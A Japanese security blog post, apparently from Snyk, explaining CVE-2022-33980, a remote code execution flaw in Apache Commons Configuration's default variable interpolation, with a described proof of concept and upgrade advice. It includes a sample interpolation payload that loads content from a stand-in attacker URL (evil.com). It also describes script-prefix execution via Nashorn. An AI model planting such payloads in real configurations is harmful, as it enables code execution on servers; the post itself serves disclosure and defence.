CVE-2022-33980を解説:Apache Commons configurationのRCE脆弱性
Kyle Suero
2022年7月8日
0 分で読めますこの脆弱性の詳細に入る前に、慌てる必要はないことを明確にしておきます。多くのシステムでは、設定ファイル内でさまざまな種類のコードを使用できます。また、アプリケーションやシステムの設定に文字列や変数の補間を含めることにも、正当な用途があります。これはLog4Shellの再来ではありません。単純な設定操作の問題です。設定や、設定が参照する動的リソースを簡単に変更できる状態なら、もっと優先して対処すべき問題があるはずです。
Apache Commons configurationの欠陥
Apache Commons configuration(バージョン2.4~2.7)では、デフォルトの変数補間機能を利用して任意コード実行が可能です。具体的には、ConfigurationInterpolatorクラスのinterpolate関数に起因します。
通常、interpolate関数には変数を含むオブジェクト値が渡され、解決可能な変数は置き換えられます。これにより、変数が置換された値が返されます。開発環境と本番環境でバージョンが異なる場合などに便利です。つまり、補間関数を使うと設定パラメーターを動的に評価できます。これには多くの正当な用途があります。
しかし、攻撃者が制御する設定ファイルによってこれらの参照が実行されると、大きな被害につながる可能性があります。たとえば、${url:UTF-8:[https://www.evil.com](https://www.evil.com)}はURLプレフィックスを使い、リモートファイルや設定値を読み込めます。攻撃者が攻撃(サブドメイン乗っ取りなど)によって指定URLを制御できれば、アプリケーションサーバー上で任意コードを実行されるおそれがあります。さらにネットワーク内へ侵入を広げられ、被害が拡大する可能性もあります。
URL参照のプレフィックスに加え、DNSレコードの解決やスクリプトの実行に使えるプレフィックスもデフォルトで有効になっています。攻撃者が設定を制御できる場合、甚大な被害につながるおそれがあります。
適切な設定値のサニタイズを徹底し、動的な値の取り扱いには常に注意してください。URLが現在は自組織のものであっても、ドメインの契約が切れた後に攻撃者がそのドメインを取得し、かつて正規だったURLで悪意あるコンテンツをホストすれば、動的な設定が侵害される可能性があります。
Apache Commons configurationの概念実証
Java 8からJava 15までは、NashornスクリプトエンジンがJavaにデフォルトで含まれていました。そのため、特別な準備をしなくてもスクリプトを実行できます。Nashornでは、さまざまな種類のエンジンを利用して実行できます。以下の例ではJavaScriptとNashornを使い、Javaコードを実行します。
以下の例では、interpolate()関数を使ってこのようなスクリプトを実行します。その結果、JavaScriptコードの5 + 4は9に評価され、nashornを使ったJavaコードはProcessBuilderを実行し、Mac上で電卓を起動します。
編集者注:上記のコードをテストするには、「java」の「a」と「values」の「s」を置き換える必要があります。
後者の例は、ユーザーがinterpolate()関数への入力に影響を与えられると、深刻な任意コード実行の脆弱性につながり得ることを示しています。電卓を起動するだけでは大きな問題に思えないかもしれませんが、同じ手法でリバースシェル攻撃、さらにはそれ以上に深刻な攻撃を実行できます。

NashornはJava 15以降ではデフォルトで利用できなくなっています。そのため、独自にスクリプトエンジンを用意した場合にのみ、これらのスクリプトが実行されます。しかし、多くの企業では依然としてJava 8などの古いバージョンに依存しているため、深刻な問題になり得ます。これは、Java 17(最新のLTSバージョン)など、最新のJavaバージョンを使用すべき理由を示す好例です。
Apache Commons configurationの修正方法
最新リリースではURL、DNS、scriptの各プレフィックスがデフォルトで無効になっているため、この問題はバージョン2.8以降で解決されています。その他の種類の参照を有効にするには、システムプロパティの変更が必要です。デフォルトで許可される参照プレフィックスを制限することで、悪意ある設定ファイルによる影響を大幅に抑えられます。
Snykでスキャンすれば、この脆弱性が技術スタックに存在するかどうかを確認できます。検出された場合はバージョン2.8にアップデートし、本番環境での継続的な監視のため、CLIでsnyk monitorを実行してください。
CTFを始めよう
オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。



